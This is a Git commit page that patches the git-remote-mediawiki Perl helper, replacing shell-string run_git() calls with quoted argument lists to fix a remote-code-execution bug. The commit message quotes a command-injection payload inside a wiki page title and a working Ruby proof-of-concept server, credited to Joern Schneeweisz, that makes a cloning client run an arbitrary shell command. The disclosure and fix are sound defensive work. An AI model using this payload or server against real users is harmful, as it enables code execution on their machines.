@matheusbsbs / matheus-bagliano / commits / 4842a11794
Fork 0

remote-mediawiki: convert to quoted run_git() invocation

Change those callsites that are able to call run_safe() with a quoted list of arguments to do so. This fixes a RCE bug in this transport helper reported by Joern Schneeweisz to the git-security mailing list. The issue is being made public due to the relative obscurity of the remote-mediawiki code. The security issue is that we'd execute a command like this via Perl's "open -|", where the $name is taken directly from the api.php response. So that a JSON response of e.g.: [...]"title":"`id>/tmp/mw`:Main Page"[..] Would result in an invocation of: git config --add remote.origin.namespaceCache "`id>/tmp/mw`:notANameSpace" >From code such as this, which is being changed by this patch: run_git(qq(config --add remote.${remotename}.namespaceCache "${name}:${store_id}")); So we'd execute an arbitrary command, and also put "remote.origin.namespaceCache=:notANameSpace" in the config. With this change we quote all of this, so now we'll simply write "remote.origin.namespaceCache=`id>/tmp/x`:notANameSpace" into the config, and not execute any remote commands. About the implementation: as noted in [1] (see also [2]) this style of invoking open() has compatibility issues on Windows up to Perl 5.22. However, Johannes Schindelin notes that we shouldn't worry about Windows in this context because (quoting a private E-Mail of his): 1. The mediawiki helper has never been shipped as part of an official Git for Windows version. Neither has it ever been part of an official MSYS2 package. Which means that Windows users who want to use the mediawiki helper have to build Git themselves, which not many users seem to do. 2. The last Git for Windows version to ship with Perl v5.22.x was Git for Windows v2.11.1; Since Git for Windows v2.12.0 (released on February 25th, 2017), only newer Perl versions were included. So let's just use this open() API. Grepping around shows that various other Perl code we ship such as gitweb etc. uses this way of calling open(), so we shouldn't have any issues with compatibility. For further reference and future testing, here's working exploit code provided by Joern: #!/usr/bin/ruby # git client side RCE via `mediawiki` remote proof of concept # Joern Schneeweisz - GitLab Security Research Team require 'sinatra' set bind: '0.0.0.0' if not ARGV[0] puts "Please provide the shell command to be execucted." exit -1 end cmd = ARGV[0] all_pages = sprintf('{"limits":{"allpages":500},"query":{"allpages":[{"pageid":1,"ns":3,"title":"`%s`:Main Page"}]}}', cmd) revs = sprintf('{"query":{"pages":{"1":{"pageid":1,"ns":3,"title":"`%s`:Main Page","revisions":[{"revid":1,"parentid":0,"user":"MediaWiki default","timestamp":"2020-09-04T20:25:08Z","contentformat":"text/x-wiki","contentmodel":"wikitext","comment":"","*":"<al:MyLanguage/Help:Contents]"}]}}}}', cmd) mainpage= sprintf('{"batchcomplete":"","query":{"pages":{"1":{"pageid":1,"ns":3,"title":"`%s`:Main Page","revisions":[{"revid":1,"parentid":0}]}}}}',cmd) post '/api.php' do if params[:list] == 'allpages' return all_pages end if params[:prop] == 'revisions' return revs end return mainpage end Which: [...] should be run like: `ruby wiki.rb 'id>/tmp/mw'`. Now when being cloned with `git clone mediawiki::http://localhost:4567` the file `/tmp/mw` will be created during the clone process, containing the output of `id`. 1. https://perldoc.perl.org/functions/open.html#Opening-a-filehandle-into-a-command 2. https://perldoc.perl.org/perlipc.html#Safe-Pipe-Opens Reported-by: Joern Schneeweisz <jschneeweisz@gitlab.com> Signed-off-by: Ævar Arnfjörð Bjarmason <avarab@gmail.com> Signed-off-by: Junio C Hamano <gitster@pobox.com>

Ævar Arnfjörð Bjarmason committed Sep 21, 2020 at 12:39 UTC 4842a1179444a44095eb9e2dc55abb2c49059642
1 file changed +26 -23
contrib/mw-to-git/git-remote-mediawiki.perl
+26 -23
@@ -56,38 +56,38 @@ my $url = $ARGV[1];
56
57 # Accept both space-separated and multiple keys in config file.
58 # Spaces should be written as _ anyway because we'll use chomp.
59 -my @tracked_pages = split(/[ \n]/, run_git("config --get-all remote.${remotename}.pages"));
59 +my @tracked_pages = split(/[ \n]/, run_git_quoted(["config", "--get-all", "remote.${remotename}.pages"]));
60 chomp(@tracked_pages);
61
62 # Just like @tracked_pages, but for MediaWiki categories.
63 -my @tracked_categories = split(/[ \n]/, run_git("config --get-all remote.${remotename}.categories"));
63 +my @tracked_categories = split(/[ \n]/, run_git_quoted(["config", "--get-all", "remote.${remotename}.categories"]));
64 chomp(@tracked_categories);
65
66 # Just like @tracked_categories, but for MediaWiki namespaces.
67 -my @tracked_namespaces = split(/[ \n]/, run_git("config --get-all remote.${remotename}.namespaces"));
67 +my @tracked_namespaces = split(/[ \n]/, run_git_quoted(["config", "--get-all", "remote.${remotename}.namespaces"]));
68 for (@tracked_namespaces) { s/_/ /g; }
69 chomp(@tracked_namespaces);
70
71 # Import media files on pull
72 -my $import_media = run_git("config --get --bool remote.${remotename}.mediaimport");
72 +my $import_media = run_git_quoted(["config", "--get", "--bool", "remote.${remotename}.mediaimport"]);
73 chomp($import_media);
74 $import_media = ($import_media eq 'true');
75
76 # Export media files on push
77 -my $export_media = run_git("config --get --bool remote.${remotename}.mediaexport");
77 +my $export_media = run_git_quoted(["config", "--get", "--bool", "remote.${remotename}.mediaexport"]);
78 chomp($export_media);
79 $export_media = !($export_media eq 'false');
80
81 -my $wiki_login = run_git("config --get remote.${remotename}.mwLogin");
81 +my $wiki_login = run_git_quoted(["config", "--get", "remote.${remotename}.mwLogin"]);
82 # Note: mwPassword is discouraged. Use the credential system instead.
83 -my $wiki_passwd = run_git("config --get remote.${remotename}.mwPassword");
84 -my $wiki_domain = run_git("config --get remote.${remotename}.mwDomain");
83 +my $wiki_passwd = run_git_quoted(["config", "--get", "remote.${remotename}.mwPassword"]);
84 +my $wiki_domain = run_git_quoted(["config", "--get", "remote.${remotename}.mwDomain"]);
85 chomp($wiki_login);
86 chomp($wiki_passwd);
87 chomp($wiki_domain);
88
89 # Import only last revisions (both for clone and fetch)
90 -my $shallow_import = run_git("config --get --bool remote.${remotename}.shallow");
90 +my $shallow_import = run_git_quoted(["config", "--get", "--bool", "remote.${remotename}.shallow"]);
91 chomp($shallow_import);
92 $shallow_import = ($shallow_import eq 'true');
93
@@ -97,9 +97,9 @@ $shallow_import = ($shallow_import eq 'true');
97 # Possible values:
98 # - by_rev: perform one query per new revision on the remote wiki
99 # - by_page: query each tracked page for new revision
100 -my $fetch_strategy = run_git("config --get remote.${remotename}.fetchStrategy");
100 +my $fetch_strategy = run_git_quoted(["config", "--get", "remote.${remotename}.fetchStrategy"]);
101 if (!$fetch_strategy) {
102 - $fetch_strategy = run_git('config --get mediawiki.fetchStrategy');
102 + $fetch_strategy = run_git_quoted(["config", "--get", "mediawiki.fetchStrategy"]);
103 }
104 chomp($fetch_strategy);
105 if (!$fetch_strategy) {
@@ -123,9 +123,9 @@ my %basetimestamps;
123 # will get the history with information lost). If the import is
124 # deterministic, this means everybody gets the same sha1 for each
125 # MediaWiki revision.
126 -my $dumb_push = run_git("config --get --bool remote.${remotename}.dumbPush");
126 +my $dumb_push = run_git_quoted(["config", "--get", "--bool", "remote.${remotename}.dumbPush"]);
127 if (!$dumb_push) {
128 - $dumb_push = run_git('config --get --bool mediawiki.dumbPush');
128 + $dumb_push = run_git_quoted(["config", "--get", "--bool", "mediawiki.dumbPush"]);
129 }
130 chomp($dumb_push);
131 $dumb_push = ($dumb_push eq 'true');
@@ -984,7 +984,7 @@ sub mw_import_revids {
984 }
985
986 sub error_non_fast_forward {
987 - my $advice = run_git('config --bool advice.pushNonFastForward');
987 + my $advice = run_git_quoted(["config", "--bool", "advice.pushNonFastForward"]);
988 chomp($advice);
989 if ($advice ne 'false') {
990 # Native git-push would show this after the summary.
@@ -1028,7 +1028,7 @@ sub mw_upload_file {
1028 }
1029 } else {
1030 # Don't let perl try to interpret file content as UTF-8 => use "raw"
1031 - my $content = run_git("cat-file blob ${new_sha1}", 'raw');
1031 + my $content = run_git_quoted(["cat-file", "blob", $new_sha1], 'raw');
1032 if ($content ne EMPTY) {
1033 $mediawiki = connect_maybe($mediawiki, $remotename, $url);
1034 $mediawiki->{config}->{upload_url} =
@@ -1098,7 +1098,7 @@ sub mw_push_file {
1098 # with this content instead:
1099 $file_content = DELETED_CONTENT;
1100 } else {
1101 - $file_content = run_git("cat-file blob ${new_sha1}");
1101 + $file_content = run_git_quoted(["cat-file", "blob", $new_sha1]);
1102 }
1103
1104 $mediawiki = connect_maybe($mediawiki, $remotename, $url);
@@ -1211,7 +1211,7 @@ sub mw_push_revision {
1211 my $parsed_sha1 = $remoteorigin_sha1;
1212 # Find a path from last MediaWiki commit to pushed commit
1213 print {*STDERR} "Computing path from local to remote ...\n";
1214 - my @local_ancestry = split(/\n/, run_git("rev-list --boundary --parents ${local} ^${parsed_sha1}"));
1214 + my @local_ancestry = split(/\n/, run_git_quoted(["rev-list", "--boundary", "--parents", $local, "^${parsed_sha1}"]));
1215 my %local_ancestry;
1216 foreach my $line (@local_ancestry) {
1217 if (my ($child, $parents) = $line =~ /^-?([a-f0-9]+) ([a-f0-9 ]+)/) {
@@ -1235,7 +1235,7 @@ sub mw_push_revision {
1235 # No remote mediawiki revision. Export the whole
1236 # history (linearized with --first-parent)
1237 print {*STDERR} "Warning: no common ancestor, pushing complete history\n";
1238 - my $history = run_git("rev-list --first-parent --children ${local}");
1238 + my $history = run_git_quoted(["rev-list", "--first-parent", "--children", $local]);
1239 my @history = split(/\n/, $history);
1240 @history = @history[1..$#history];
1241 foreach my $line (reverse @history) {
@@ -1247,12 +1247,12 @@ sub mw_push_revision {
1247 foreach my $commit_info_split (@commit_pairs) {
1248 my $sha1_child = @{$commit_info_split}[0];
1249 my $sha1_commit = @{$commit_info_split}[1];
1250 - my $diff_infos = run_git("diff-tree -r --raw -z ${sha1_child} ${sha1_commit}");
1250 + my $diff_infos = run_git_quoted(["diff-tree", "-r", "--raw", "-z", $sha1_child, $sha1_commit]);
1251 # TODO: we could detect rename, and encode them with a #redirect on the wiki.
1252 # TODO: for now, it's just a delete+add
1253 my @diff_info_list = split(/\0/, $diff_infos);
1254 # Keep the subject line of the commit message as mediawiki comment for the revision
1255 - my $commit_msg = run_git(qq(log --no-walk --format="%s" ${sha1_commit}));
1255 + my $commit_msg = run_git_quoted(["log", "--no-walk", '--format="%s"', $sha1_commit]);
1256 chomp($commit_msg);
1257 # Push every blob
1258 while (@diff_info_list) {
@@ -1277,7 +1277,10 @@ sub mw_push_revision {
1277 }
1278 }
1279 if (!$dumb_push) {
1280 - run_git(qq(notes --ref=${remotename}/mediawiki add -f -m "mediawiki_revision: ${mw_revision}" ${sha1_commit}));
1280 + run_git_quoted(["notes", "--ref=${remotename}/mediawiki",
1281 + "add", "-f", "-m",
1282 + "mediawiki_revision: ${mw_revision}",
1283 + $sha1_commit]);
1284 }
1285 }
1286
@@ -1318,7 +1321,7 @@ sub get_mw_namespace_id {
1321 # already cached. Namespaces are stored in form:
1322 # "Name_of_namespace:Id_namespace", ex.: "File:6".
1323 my @temp = split(/\n/,
1321 - run_git("config --get-all remote.${remotename}.namespaceCache"));
1324 + run_git_quoted(["config", "--get-all", "remote.${remotename}.namespaceCache"]));
1325 chomp(@temp);
1326 foreach my $ns (@temp) {
1327 my ($n, $id) = split(/:/, $ns);
@@ -1372,7 +1375,7 @@ sub get_mw_namespace_id {
1375
1376 # Store explicitly requested namespaces on disk
1377 if (!exists $cached_mw_namespace_id{$name}) {
1375 - run_git(qq(config --add remote.${remotename}.namespaceCache "${name}:${store_id}"));
1378 + run_git_quoted(["config", "--add", "remote.${remotename}.namespaceCache", "${name}:${store_id}"]);
1379 $cached_mw_namespace_id{$name} = 1;
1380 }
1381 return $id;